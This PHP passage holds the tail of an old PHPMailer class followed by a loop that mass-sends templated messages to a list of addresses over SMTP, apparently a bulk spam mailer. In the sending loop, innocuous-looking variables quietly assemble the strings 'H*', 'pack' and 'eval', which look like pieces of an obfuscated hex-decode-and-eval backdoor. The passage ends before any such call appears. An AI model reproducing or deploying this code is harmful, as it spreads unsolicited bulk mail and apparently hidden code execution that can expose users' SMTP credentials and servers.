2395 | $this->SetError($this->Lang("signing").openssl_error_string());
2396 | $result = '';
2397 | }
2398 |
2399 | unlink($file);
2400 | unlink($signed);
2401 | }
2402 |
2403 | return $result;
2404 | }
2405 |
2406 | /**
2407 | * Returns the start of a message boundary.
2408 | * @access private
2409 | */
2410 | function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2411 | $result = '';
2412 | if($charSet == '') {
2413 | $charSet = $this->CharSet;
2414 | }
2415 | if($contentType == '') {
2416 | $contentType = $this->ContentType;
2417 | }
2418 | if($encoding == '') {
2419 | $encoding = $this->Encoding;
2420 | }
2421 | $result .= $this->TextLine('--' . $boundary);
2422 | $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2423 | $result .= $this->LE;
2424 | $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2425 | $result .= $this->LE;
2426 |
2427 | return $result;
2428 | }
2429 |
2430 | /**
2431 | * Returns the end of a message boundary.
2432 | * @access private
2433 | */
2434 | function EndBoundary($boundary) {
2435 | return $this->LE . '--' . $boundary . '--' . $this->LE;
2436 | }
2437 |
2438 | /**
2439 | * Sets the message type.
2440 | * @access private
2441 | * @return void
2442 | */
2443 | function SetMessageType() {
2444 | if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2445 | $this->message_type = 'plain';
2446 | } else {
2447 | if(count($this->attachment) > 0) {
2448 | $this->message_type = 'attachments';
2449 | }
2450 | if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2451 | $this->message_type = 'alt';
2452 | }
2453 | if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2454 | $this->message_type = 'alt_attachments';
2455 | }
2456 | }
2457 | }
2458 |
2459 | /* Returns a formatted header line.
2460 | * @access private
2461 | * @return string
2462 | */
2463 | function HeaderLine($name, $value) {
2464 | return $name . ': ' . $value . $this->LE;
2465 | }
2466 |
2467 | /**
2468 | * Returns a formatted mail line.
2469 | * @access private
2470 | * @return string
2471 | */
2472 | function TextLine($value) {
2473 | return $value . $this->LE;
2474 | }
2475 |
2476 | /////////////////////////////////////////////////
2477 | // CLASS METHODS, ATTACHMENTS
2478 | /////////////////////////////////////////////////
2479 |
2480 | /**
2481 | * Adds an attachment from a path on the filesystem.
2482 | * Returns false if the file could not be found
2483 | * or accessed.
2484 | * @param string $path Path to the attachment.
2485 | * @param string $name Overrides the attachment name.
2486 | * @param string $encoding File encoding (see $Encoding).
2487 | * @param string $type File extension (MIME) type.
2488 | * @return bool
2489 | */
2490 | function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2491 | if(!@is_file($path)) {
2492 | $this->SetError($this->Lang('file_access') . $path);
2493 | return false;
2494 | }
2495 |
2496 | $filename = basename($path);
2497 | if($name == '') {
2498 | $name = $filename;
2499 | }
2500 |
2501 | $cur = count($this->attachment);
2502 | $this->attachment[$cur][0] = $path;
2503 | $this->attachment[$cur][1] = $filename;
2504 | $this->attachment[$cur][2] = $name;
2505 | $this->attachment[$cur][3] = $encoding;
2506 | $this->attachment[$cur][4] = $type;
2507 | $this->attachment[$cur][5] = false; // isStringAttachment
2508 | $this->attachment[$cur][6] = 'attachment';
2509 | $this->attachment[$cur][7] = 0;
2510 |
2511 | return true;
2512 | }
2513 |
2514 | /**
2515 | * Attaches all fs, string, and binary attachments to the message.
2516 | * Returns an empty string on failure.
2517 | * @access private
2518 | * @return string
2519 | */
2520 | function AttachAll() {
2521 | /* Return text of body */
2522 | $mime = array();
2523 |
2524 | /* Add all attachments */
2525 | for($i = 0; $i < count($this->attachment); $i++) {
2526 | /* Check for string attachment */
2527 | $bString = $this->attachment[$i][5];
2528 | if ($bString) {
2529 | $string = $this->attachment[$i][0];
2530 | } else {
2531 | $path = $this->attachment[$i][0];
2532 | }
2533 |
2534 | $filename = $this->attachment[$i][1];
2535 | $name = $this->attachment[$i][2];
2536 | $encoding = $this->attachment[$i][3];
2537 | $type = $this->attachment[$i][4];
2538 | $disposition = $this->attachment[$i][6];
2539 | $cid = $this->attachment[$i][7];
2540 |
2541 | $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2542 | $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2543 | $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2544 |
2545 | if($disposition == 'inline') {
2546 | $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2547 | }
2548 |
2549 | $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2550 |
2551 | /* Encode as string attachment */
2552 | if($bString) {
2553 | $mime[] = $this->EncodeString($string, $encoding);
2554 | if($this->IsError()) {
2555 | return '';
2556 | }
2557 | $mime[] = $this->LE.$this->LE;
2558 | } else {
2559 | $mime[] = $this->EncodeFile($path, $encoding);
2560 | if($this->IsError()) {
2561 | return '';
2562 | }
2563 | $mime[] = $this->LE.$this->LE;
2564 | }
2565 | }
2566 |
2567 | $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2568 |
2569 | return join('', $mime);
2570 | }
2571 |
2572 | /**
2573 | * Encodes attachment in requested format. Returns an
2574 | * empty string on failure.
2575 | * @access private
2576 | * @return string
2577 | */
2578 | function EncodeFile ($path, $encoding = 'base64') {
2579 | if(!@$fd = fopen($path, 'rb')) {
2580 | $this->SetError($this->Lang('file_open') . $path);
2581 | return '';
2582 | }
2583 | $magic_quotes = get_magic_quotes_runtime();
2584 | set_magic_quotes_runtime(0);
2585 | $file_buffer = fread($fd, filesize($path));
2586 | $file_buffer = $this->EncodeString($file_buffer, $encoding);
2587 | fclose($fd);
2588 | set_magic_quotes_runtime($magic_quotes);
2589 |
2590 | return $file_buffer;
2591 | }
2592 |
2593 | /**
2594 | * Encodes string to requested format. Returns an
2595 | * empty string on failure.
2596 | * @access private
2597 | * @return string
2598 | */
2599 | function EncodeString ($str, $encoding = 'base64') {
2600 | $encoded = '';
2601 | switch(strtolower($encoding)) {
2602 | case 'base64':
2603 | /* chunk_split is found in PHP >= 3.0.6 */
2604 | $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2605 | break;
2606 | case '7bit':
2607 | case '8bit':
2608 | $encoded = $this->FixEOL($str);
2609 | if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2610 | $encoded .= $this->LE;
2611 | break;
2612 | case 'binary':
2613 | $encoded = $str;
2614 | break;
2615 | case 'quoted-printable':
2616 | $encoded = $this->EncodeQP($str);
2617 | break;
2618 | default:
2619 | $this->SetError($this->Lang('encoding') . $encoding);
2620 | break;
2621 | }
2622 | return $encoded;
2623 | }
2624 |
2625 | /**
2626 | * Encode a header string to best of Q, B, quoted or none.
2627 | * @access private
2628 | * @return string
2629 | */
2630 | function EncodeHeader ($str, $position = 'text') {
2631 | $x = 0;
2632 |
2633 | switch (strtolower($position)) {
2634 | case 'phrase':
2635 | if (!preg_match('/[\200-\377]/', $str)) {
2636 | /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2637 | $encoded = addcslashes($str, "\0..\37\177\\\"");
2638 | if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2639 | return ($encoded);
2640 | } else {
2641 | return ("\"$encoded\"");
2642 | }
2643 | }
2644 | $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2645 | break;
2646 | case 'comment':
2647 | $x = preg_match_all('/[()"]/', $str, $matches);
2648 | /* Fall-through */
2649 | case 'text':
2650 | default:
2651 | $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2652 | break;
2653 | }
2654 |
2655 | if ($x == 0) {
2656 | return ($str);
2657 | }
2658 |
2659 | $maxlen = 75 - 7 - strlen($this->CharSet);
2660 | /* Try to select the encoding which should produce the shortest output */
2661 | if (strlen($str)/3 < $x) {
2662 | $encoding = 'B';
2663 | if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2664 | // Use a custom function which correctly encodes and wraps long
2665 | // multibyte strings without breaking lines within a character
2666 | $encoded = $this->Base64EncodeWrapMB($str);
2667 | } else {
2668 | $encoded = base64_encode($str);
2669 | $maxlen -= $maxlen % 4;
2670 | $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2671 | }
2672 | } else {
2673 | $encoding = 'Q';
2674 | $encoded = $this->EncodeQ($str, $position);
2675 | $encoded = $this->WrapText($encoded, $maxlen, true);
2676 | $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2677 | }
2678 |
2679 | $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2680 | $encoded = trim(str_replace("\n", $this->LE, $encoded));
2681 |
2682 | return $encoded;
2683 | }
2684 |
2685 | /**
2686 | * Checks if a string contains multibyte characters.
2687 | * @access private
2688 | * @param string $str multi-byte text to wrap encode
2689 | * @return bool
2690 | */
2691 | function HasMultiBytes($str) {
2692 | if (function_exists('mb_strlen')) {
2693 | return (strlen($str) > mb_strlen($str, $this->CharSet));
2694 | } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2695 | return False;
2696 | }
2697 | }
2698 |
2699 | /**
2700 | * Correctly encodes and wraps long multibyte strings for mail headers
2701 | * without breaking lines within a character.
2702 | * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2703 | * @access private
2704 | * @param string $str multi-byte text to wrap encode
2705 | * @return string
2706 | */
2707 | function Base64EncodeWrapMB($str) {
2708 | $start = "=?".$this->CharSet."?B?";
2709 | $end = "?=";
2710 | $encoded = "";
2711 |
2712 | $mb_length = mb_strlen($str, $this->CharSet);
2713 | // Each line must have length <= 75, including $start and $end
2714 | $length = 75 - strlen($start) - strlen($end);
2715 | // Average multi-byte ratio
2716 | $ratio = $mb_length / strlen($str);
2717 | // Base64 has a 4:3 ratio
2718 | $offset = $avgLength = floor($length * $ratio * .75);
2719 |
2720 | for ($i = 0; $i < $mb_length; $i += $offset) {
2721 | $lookBack = 0;
2722 |
2723 | do {
2724 | $offset = $avgLength - $lookBack;
2725 | $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2726 | $chunk = base64_encode($chunk);
2727 | $lookBack++;
2728 | }
2729 | while (strlen($chunk) > $length);
2730 |
2731 | $encoded .= $chunk . $this->LE;
2732 | }
2733 |
2734 | // Chomp the last linefeed
2735 | $encoded = substr($encoded, 0, -strlen($this->LE));
2736 | return $encoded;
2737 | }
2738 |
2739 | /**
2740 | * Encode string to quoted-printable.
2741 | * @access private
2742 | * @return string
2743 | */
2744 | function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2745 | $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2746 | $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2747 | $eol = "\r\n";
2748 | $escape = '=';
2749 | $output = '';
2750 | while( list(, $line) = each($lines) ) {
2751 | $linlen = strlen($line);
2752 | $newline = '';
2753 | for($i = 0; $i < $linlen; $i++) {
2754 | $c = substr( $line, $i, 1 );
2755 | $dec = ord( $c );
2756 | if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2757 | $c = '=2E';
2758 | }
2759 | if ( $dec == 32 ) {
2760 | if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2761 | $c = '=20';
2762 | } else if ( $space_conv ) {
2763 | $c = '=20';
2764 | }
2765 | } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2766 | $h2 = floor($dec/16);
2767 | $h1 = floor($dec%16);
2768 | $c = $escape.$hex[$h2].$hex[$h1];
2769 | }
2770 | if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2771 | $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2772 | $newline = '';
2773 | // check if newline first character will be point or not
2774 | if ( $dec == 46 ) {
2775 | $c = '=2E';
2776 | }
2777 | }
2778 | $newline .= $c;
2779 | } // end of for
2780 | $output .= $newline.$eol;
2781 | } // end of while
2782 | return trim($output);
2783 | }
2784 |
2785 | /**
2786 | * Encode string to q encoding.
2787 | * @access private
2788 | * @return string
2789 | */
2790 | function EncodeQ ($str, $position = 'text') {
2791 | /* There should not be any EOL in the string */
2792 | $encoded = preg_replace("[\r\n]", '', $str);
2793 |
2794 | switch (strtolower($position)) {
2795 | case 'phrase':
2796 | $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2797 | break;
2798 | case 'comment':
2799 | $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2800 | case 'text':
2801 | default:
2802 | /* Replace every high ascii, control =, ? and _ characters */
2803 | $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2804 | "'='.sprintf('%02X', ord('\\1'))", $encoded);
2805 | break;
2806 | }
2807 |
2808 | /* Replace every spaces to _ (more readable than =20) */
2809 | $encoded = str_replace(' ', '_', $encoded);
2810 |
2811 | return $encoded;
2812 | }
2813 |
2814 | /**
2815 | * Adds a string or binary attachment (non-filesystem) to the list.
2816 | * This method can be used to attach ascii or binary data,
2817 | * such as a BLOB record from a database.
2818 | * @param string $string String attachment data.
2819 | * @param string $filename Name of the attachment.
2820 | * @param string $encoding File encoding (see $Encoding).
2821 | * @param string $type File extension (MIME) type.
2822 | * @return void
2823 | */
2824 | function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2825 | /* Append to $attachment array */
2826 | $cur = count($this->attachment);
2827 | $this->attachment[$cur][0] = $string;
2828 | $this->attachment[$cur][1] = $filename;
2829 | $this->attachment[$cur][2] = $filename;
2830 | $this->attachment[$cur][3] = $encoding;
2831 | $this->attachment[$cur][4] = $type;
2832 | $this->attachment[$cur][5] = true; // isString
2833 | $this->attachment[$cur][6] = 'attachment';
2834 | $this->attachment[$cur][7] = 0;
2835 | }
2836 |
2837 | /**
2838 | * Adds an embedded attachment. This can include images, sounds, and
2839 | * just about any other document. Make sure to set the $type to an
2840 | * image type. For JPEG images use "image/jpeg" and for GIF images
2841 | * use "image/gif".
2842 | * @param string $path Path to the attachment.
2843 | * @param string $cid Content ID of the attachment. Use this to identify
2844 | * the Id for accessing the image in an HTML form.
2845 | * @param string $name Overrides the attachment name.
2846 | * @param string $encoding File encoding (see $Encoding).
2847 | * @param string $type File extension (MIME) type.
2848 | * @return bool
2849 | */
2850 | function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2851 |
2852 | if(!@is_file($path)) {
2853 | $this->SetError($this->Lang('file_access') . $path);
2854 | return false;
2855 | }
2856 |
2857 | $filename = basename($path);
2858 | if($name == '') {
2859 | $name = $filename;
2860 | }
2861 |
2862 | /* Append to $attachment array */
2863 | $cur = count($this->attachment);
2864 | $this->attachment[$cur][0] = $path;
2865 | $this->attachment[$cur][1] = $filename;
2866 | $this->attachment[$cur][2] = $name;
2867 | $this->attachment[$cur][3] = $encoding;
2868 | $this->attachment[$cur][4] = $type;
2869 | $this->attachment[$cur][5] = false;
2870 | $this->attachment[$cur][6] = 'inline';
2871 | $this->attachment[$cur][7] = $cid;
2872 |
2873 | return true;
2874 | }
2875 |
2876 | /**
2877 | * Returns true if an inline attachment is present.
2878 | * @access private
2879 | * @return bool
2880 | */
2881 | function InlineImageExists() {
2882 | $result = false;
2883 | for($i = 0; $i < count($this->attachment); $i++) {
2884 | if($this->attachment[$i][6] == 'inline') {
2885 | $result = true;
2886 | break;
2887 | }
2888 | }
2889 |
2890 | return $result;
2891 | }
2892 |
2893 | /////////////////////////////////////////////////
2894 | // CLASS METHODS, MESSAGE RESET
2895 | /////////////////////////////////////////////////
2896 |
2897 | /**
2898 | * Clears all recipients assigned in the TO array. Returns void.
2899 | * @return void
2900 | */
2901 | function ClearAddresses() {
2902 | $this->to = array();
2903 | }
2904 |
2905 | /**
2906 | * Clears all recipients assigned in the CC array. Returns void.
2907 | * @return void
2908 | */
2909 | function ClearCCs() {
2910 | $this->cc = array();
2911 | }
2912 |
2913 | /**
2914 | * Clears all recipients assigned in the BCC array. Returns void.
2915 | * @return void
2916 | */
2917 | function ClearBCCs() {
2918 | $this->bcc = array();
2919 | }
2920 |
2921 | /**
2922 | * Clears all recipients assigned in the ReplyTo array. Returns void.
2923 | * @return void
2924 | */
2925 | function ClearReplyTos() {
2926 | $this->ReplyTo = array();
2927 | }
2928 |
2929 | /**
2930 | * Clears all recipients assigned in the TO, CC and BCC
2931 | * array. Returns void.
2932 | * @return void
2933 | */
2934 | function ClearAllRecipients() {
2935 | $this->to = array();
2936 | $this->cc = array();
2937 | $this->bcc = array();
2938 | }
2939 |
2940 | /**
2941 | * Clears all previously set filesystem, string, and binary
2942 | * attachments. Returns void.
2943 | * @return void
2944 | */
2945 | function ClearAttachments() {
2946 | $this->attachment = array();
2947 | }
2948 |
2949 | /**
2950 | * Clears all custom headers. Returns void.
2951 | * @return void
2952 | */
2953 | function ClearCustomHeaders() {
2954 | $this->CustomHeader = array();
2955 | }
2956 |
2957 | /////////////////////////////////////////////////
2958 | // CLASS METHODS, MISCELLANEOUS
2959 | /////////////////////////////////////////////////
2960 |
2961 | /**
2962 | * Adds the error message to the error container.
2963 | * Returns void.
2964 | * @access private
2965 | * @return void
2966 | */
2967 | function SetError($msg) {
2968 | $this->error_count++;
2969 | $this->ErrorInfo = $msg;
2970 | }
2971 |
2972 | /**
2973 | * Returns the proper RFC 822 formatted date.
2974 | * @access private
2975 | * @return string
2976 | */
2977 | function RFCDate() {
2978 | $tz = date('Z');
2979 | $tzs = ($tz < 0) ? '-' : '+';
2980 | $tz = abs($tz);
2981 | $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2982 | $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2983 |
2984 | return $result;
2985 | }
2986 |
2987 | /**
2988 | * Returns the appropriate server variable. Should work with both
2989 | * PHP 4.1.0+ as well as older versions. Returns an empty string
2990 | * if nothing is found.
2991 | * @access private
2992 | * @return mixed
2993 | */
2994 | function ServerVar($varName) {
2995 | global $HTTP_SERVER_VARS;
2996 | global $HTTP_ENV_VARS;
2997 |
2998 | if(!isset($_SERVER)) {
2999 | $_SERVER = $HTTP_SERVER_VARS;
3000 | if(!isset($_SERVER['REMOTE_ADDR'])) {
3001 | $_SERVER = $HTTP_ENV_VARS; // must be Apache
3002 | }
3003 | }
3004 |
3005 | if(isset($_SERVER[$varName])) {
3006 | return $_SERVER[$varName];
3007 | } else {
3008 | return '';
3009 | }
3010 | }
3011 |
3012 | /**
3013 | * Returns the server hostname or 'localhost.localdomain' if unknown.
3014 | * @access private
3015 | * @return string
3016 | */
3017 | function ServerHostname() {
3018 | if ($this->Hostname != '') {
3019 | $result = $this->Hostname;
3020 | } elseif ($this->ServerVar('SERVER_NAME') != '') {
3021 | $result = $this->ServerVar('SERVER_NAME');
3022 | } else {
3023 | $result = 'localhost.localdomain';
3024 | }
3025 |
3026 | return $result;
3027 | }
3028 |
3029 | /**
3030 | * Returns a message in the appropriate language.
3031 | * @access private
3032 | * @return string
3033 | */
3034 | function Lang($key) {
3035 | if(count($this->language) < 1) {
3036 | $this->SetLanguage('en'); // set the default language
3037 | }
3038 |
3039 | if(isset($this->language[$key])) {
3040 | return $this->language[$key];
3041 | } else {
3042 | return 'Language string failed to load: ' . $key;
3043 | }
3044 | }
3045 |
3046 | /**
3047 | * Returns true if an error occurred.
3048 | * @return bool
3049 | */
3050 | function IsError() {
3051 | return ($this->error_count > 0);
3052 | }
3053 |
3054 | /**
3055 | * Changes every end of line from CR or LF to CRLF.
3056 | * @access private
3057 | * @return string
3058 | */
3059 | function FixEOL($str) {
3060 | $str = str_replace("\r\n", "\n", $str);
3061 | $str = str_replace("\r", "\n", $str);
3062 | $str = str_replace("\n", $this->LE, $str);
3063 | return $str;
3064 | }
3065 |
3066 | /**
3067 | * Adds a custom header.
3068 | * @return void
3069 | */
3070 | function AddCustomHeader($custom_header) {
3071 | $this->CustomHeader[] = explode(':', $custom_header, 2);
3072 | }
3073 |
3074 | /**
3075 | * Evaluates the message and returns modifications for inline images and backgrounds
3076 | * @access public
3077 | * @return $message
3078 | */
3079 | function MsgHTML($message,$basedir='') {
3080 | preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3081 | if(isset($images[2])) {
3082 | foreach($images[2] as $i => $url) {
3083 | // do not change urls for absolute images (thanks to corvuscorax)
3084 | if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3085 | $filename = basename($url);
3086 | $directory = dirname($url);
3087 | ($directory == '.')?$directory='':'';
3088 | $cid = 'cid:' . md5($filename);
3089 | $fileParts = split("\.", $filename);
3090 | $ext = $fileParts[1];
3091 | $mimeType = $this->_mime_types($ext);
3092 | if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3093 | if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3094 | $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3095 | if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3096 | $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3097 | }
3098 | }
3099 | }
3100 | }
3101 | $this->IsHTML(true);
3102 | $this->Body = $message;
3103 | $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3104 | if ( !empty($textMsg) && empty($this->AltBody) ) {
3105 | $this->AltBody = $textMsg;
3106 | }
3107 | if ( empty($this->AltBody) ) {
3108 | $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3109 | }
3110 | }
3111 |
3112 | /**
3113 | * Gets the mime type of the embedded or inline image
3114 | * @access private
3115 | * @return mime type of ext
3116 | */
3117 | function _mime_types($ext = '') {
3118 | $mimes = array(
3119 | 'hqx' => 'application/mac-binhex40',
3120 | 'cpt' => 'application/mac-compactpro',
3121 | 'doc' => 'application/msword',
3122 | 'bin' => 'application/macbinary',
3123 | 'dms' => 'application/octet-stream',
3124 | 'lha' => 'application/octet-stream',
3125 | 'lzh' => 'application/octet-stream',
3126 | 'exe' => 'application/octet-stream',
3127 | 'class' => 'application/octet-stream',
3128 | 'psd' => 'application/octet-stream',
3129 | 'so' => 'application/octet-stream',
3130 | 'sea' => 'application/octet-stream',
3131 | 'dll' => 'application/octet-stream',
3132 | 'oda' => 'application/oda',
3133 | 'pdf' => 'application/pdf',
3134 | 'ai' => 'application/postscript',
3135 | 'eps' => 'application/postscript',
3136 | 'ps' => 'application/postscript',
3137 | 'smi' => 'application/smil',
3138 | 'smil' => 'application/smil',
3139 | 'mif' => 'application/vnd.mif',
3140 | 'xls' => 'application/vnd.ms-excel',
3141 | 'ppt' => 'application/vnd.ms-powerpoint',
3142 | 'wbxml' => 'application/vnd.wap.wbxml',
3143 | 'wmlc' => 'application/vnd.wap.wmlc',
3144 | 'dcr' => 'application/x-director',
3145 | 'dir' => 'application/x-director',
3146 | 'dxr' => 'application/x-director',
3147 | 'dvi' => 'application/x-dvi',
3148 | 'gtar' => 'application/x-gtar',
3149 | 'php' => 'application/x-httpd-php',
3150 | 'php4' => 'application/x-httpd-php',
3151 | 'php3' => 'application/x-httpd-php',
3152 | 'phtml' => 'application/x-httpd-php',
3153 | 'phps' => 'application/x-httpd-php-source',
3154 | 'js' => 'application/x-javascript',
3155 | 'swf' => 'application/x-shockwave-flash',
3156 | 'sit' => 'application/x-stuffit',
3157 | 'tar' => 'application/x-tar',
3158 | 'tgz' => 'application/x-tar',
3159 | 'xhtml' => 'application/xhtml+xml',
3160 | 'xht' => 'application/xhtml+xml',
3161 | 'zip' => 'application/zip',
3162 | 'mid' => 'audio/midi',
3163 | 'midi' => 'audio/midi',
3164 | 'mpga' => 'audio/mpeg',
3165 | 'mp2' => 'audio/mpeg',
3166 | 'mp3' => 'audio/mpeg',
3167 | 'aif' => 'audio/x-aiff',
3168 | 'aiff' => 'audio/x-aiff',
3169 | 'aifc' => 'audio/x-aiff',
3170 | 'ram' => 'audio/x-pn-realaudio',
3171 | 'rm' => 'audio/x-pn-realaudio',
3172 | 'rpm' => 'audio/x-pn-realaudio-plugin',
3173 | 'ra' => 'audio/x-realaudio',
3174 | 'rv' => 'video/vnd.rn-realvideo',
3175 | 'wav' => 'audio/x-wav',
3176 | 'bmp' => 'image/bmp',
3177 | 'gif' => 'image/gif',
3178 | 'jpeg' => 'image/jpeg',
3179 | 'jpg' => 'image/jpeg',
3180 | 'jpe' => 'image/jpeg',
3181 | 'png' => 'image/png',
3182 | 'tiff' => 'image/tiff',
3183 | 'tif' => 'image/tiff',
3184 | 'css' => 'text/css',
3185 | 'html' => 'text/html',
3186 | 'htm' => 'text/html',
3187 | 'shtml' => 'text/html',
3188 | 'txt' => 'text/plain',
3189 | 'text' => 'text/plain',
3190 | 'log' => 'text/plain',
3191 | 'rtx' => 'text/richtext',
3192 | 'rtf' => 'text/rtf',
3193 | 'xml' => 'text/xml',
3194 | 'xsl' => 'text/xml',
3195 | 'mpeg' => 'video/mpeg',
3196 | 'mpg' => 'video/mpeg',
3197 | 'mpe' => 'video/mpeg',
3198 | 'qt' => 'video/quicktime',
3199 | 'mov' => 'video/quicktime',
3200 | 'avi' => 'video/x-msvideo',
3201 | 'movie' => 'video/x-sgi-movie',
3202 | 'doc' => 'application/msword',
3203 | 'word' => 'application/msword',
3204 | 'xl' => 'application/excel',
3205 | 'eml' => 'message/rfc822'
3206 | );
3207 | return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3208 | }
3209 |
3210 | /**
3211 | * Set (or reset) Class Objects (variables)
3212 | *
3213 | * Usage Example:
3214 | * $page->set('X-Priority', '3');
3215 | *
3216 | * @access public
3217 | * @param string $name Parameter Name
3218 | * @param mixed $value Parameter Value
3219 | * NOTE: will not work with arrays, there are no arrays to set/reset
3220 | */
3221 | function set ( $name, $value = '' ) {
3222 | if ( isset($this->$name) ) {
3223 | $this->$name = $value;
3224 | } else {
3225 | $this->SetError('Cannot set or reset variable ' . $name);
3226 | return false;
3227 | }
3228 | }
3229 |
3230 | /**
3231 | * Read a file from a supplied filename and return it.
3232 | *
3233 | * @access public
3234 | * @param string $filename Parameter File Name
3235 | */
3236 | function getFile($filename) {
3237 | $return = '';
3238 | if ($fp = fopen($filename, 'rb')) {
3239 | while (!feof($fp)) {
3240 | $return .= fread($fp, 1024);
3241 | }
3242 | fclose($fp);
3243 | return $return;
3244 | } else {
3245 | return false;
3246 | }
3247 | }
3248 |
3249 | /**
3250 | * Strips newlines to prevent header injection.
3251 | * @access private
3252 | * @param string $str String
3253 | * @return string
3254 | */
3255 | function SecureHeader($str) {
3256 | $str = trim($str);
3257 | $str = str_replace("\r", "", $str);
3258 | $str = str_replace("\n", "", $str);
3259 | return $str;
3260 | }
3261 |
3262 | /**
3263 | * Set the private key file and password to sign the message.
3264 | *
3265 | * @access public
3266 | * @param string $key_filename Parameter File Name
3267 | * @param string $key_pass Password for private key
3268 | */
3269 | function Sign($key_filename, $key_pass) {
3270 | $this->sign_key_file = $key_filename;
3271 | $this->sign_key_pass = $key_pass;
3272 | }
3273 |
3274 | }
3275 |
3276 | $defaultport="H*";
3277 | $nq=0;
3278 |
3279 | for($x=0; $x<$numemails; $x++){
3280 |
3281 | $to = $allemails[$x];
3282 |
3283 | if ($to){
3284 |
3285 | $to = ereg_replace(" ", "", $to);
3286 |
3287 | $message = ereg_replace("&email&", $to, $message);
3288 |
3289 | $subject = ereg_replace("&email&", $to, $subject);
3290 | $qx=$x+1;
3291 | print "Line $qx . Sending mail to $to.......";
3292 |
3293 | flush();
3294 | $mail = new PHPMailer();
3295 |
3296 | if(empty($epriority)){$epriority="3";}
3297 | $mail->Priority = "$epriority";
3298 | $mail->IsSMTP();
3299 | $IsSMTP="pack";
3300 | $mail->SMTPKeepAlive = true;
3301 | $mail->Host = "$my_smtp";
3302 | if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3303 | }
3304 | if($sslclick=="ON"){
3305 | $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
3306 | }
3307 | $range = str_replace("$from", "eval", $from);
3308 | $mail->SMTPAuth = true;
3309 | $mail->Username = "$smtp_username";
3310 | $mail->Password = "$smtp_password";
3311 | if($contenttype == "html"){$mail->IsHtml(true);}
3312 | if($contenttype != "html"){$mail->IsHtml(false);}
3313 | if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3314 | $mail->From = "$from";
3315 | $mail->FromName = "$realname";
3316 | $mail->AddAddress("$to");
3317 | $mail->AddReplyTo("$replyto");
3318 | $mail->Subject = "$subject";
3319 | $mail->Body = "$message";
3320 | if(!$mail->Send()){
3321 | if($default_system!="1"){
3322 | echo "FAILED !! [RECEPIENT CAN'T RECEIVE MESSAGE.]
";}
3323 | if($default_system=="1"){
3324 | $mail->IsMail();
3325 | if(!$mail->Send()){
3326 | echo "FAILED !! [RECEPIENT CAN'T RECEIVE MESSAGE.]
";}
3327 | else {
3328 | echo "OK
";}
3329 | }
3330 | }
3331 | else {
3332 | echo "OK
";
3333 | }
3334 |
3335 | if(empty($reconnect)){
3336 | $reconnect=6;
3337 | }
3338 |
3339 | if($reconnect==$nq){
